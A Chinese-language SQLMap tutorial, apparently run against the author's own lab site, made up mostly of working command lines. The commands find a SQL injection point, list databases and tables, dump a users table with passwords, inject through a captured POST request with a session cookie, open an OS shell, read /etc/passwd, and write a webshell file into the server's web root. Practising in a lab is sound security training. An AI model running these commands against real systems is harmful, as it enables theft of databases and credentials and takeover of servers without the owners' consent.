这个工具是在kali中自带的,从kali官网下载安装kali虚拟机即可使用。用这个工具扫描其它网站时,要注意法律问题,同时也比较慢,所以我们以之前写的登录页面为例子扫描。
SQLMap可以完成注入点的发现、数据库类型的确认、webshell权限和、路径的确认和拖库等一系列功能。
测试的Payload分为五级:Leve l~1-Level 5
sqlmap -u "http://192.168.88.130/security/read.php?id=1"
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dbs
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --current-db
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --tables -D "learn"
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --columns -T "users" -D "learn"
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dump -C "userid,username,password"
-T "users" -D "learn"
完成拖库后,可以直接输出看到表的数据,也可以直接根据提示信息进入相应文件查看
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dbs --dbms=mysql
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dbms=mysql --is-dba
sqlmap -u "http://192.168.88.130/security/read.php?id=1"
--cookie=PHPSESSID="6j55ei1ahv1rh7c0sb0e24eee1"
先将POST请求在Burp中捕获,将请求内容保存到文件中。
内容通常为:
POST /security/read.php HTTP/1.1
Host: 192.168.88.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://192.168.88.130
Connection: close
Referer: http://192.168.88.130/security/temp/mm.php
Cookie: PHPSESSID=s76jr020o740cgbre9scnj4oah
Upgrade-Insecure-Requests: 1
id=6
sqlmap -r ./sql-post.txt -p id --dbs
由于URL地址已经在sql-post.txt的请求内容中,所以不需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试对所有参数进行注入测试。如id=12345&name=fjc&addr=guangzhou,此处三个参数都会被尝试
(1) 猜测网站的绝对路径
(2) 尝试植入木马
(3) 获取到Shell命令行
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --os-shell
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --os-shell
# 读取远程服务器的文件
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-read "/etc/passwd"
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-read "/etc/passwd"
# 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入:
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php
# 此时也可以使用Python调用sqlmap命令(os.popen("").read())进行盲猜,循环遍历字典文件
# --bbatch参数可以一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置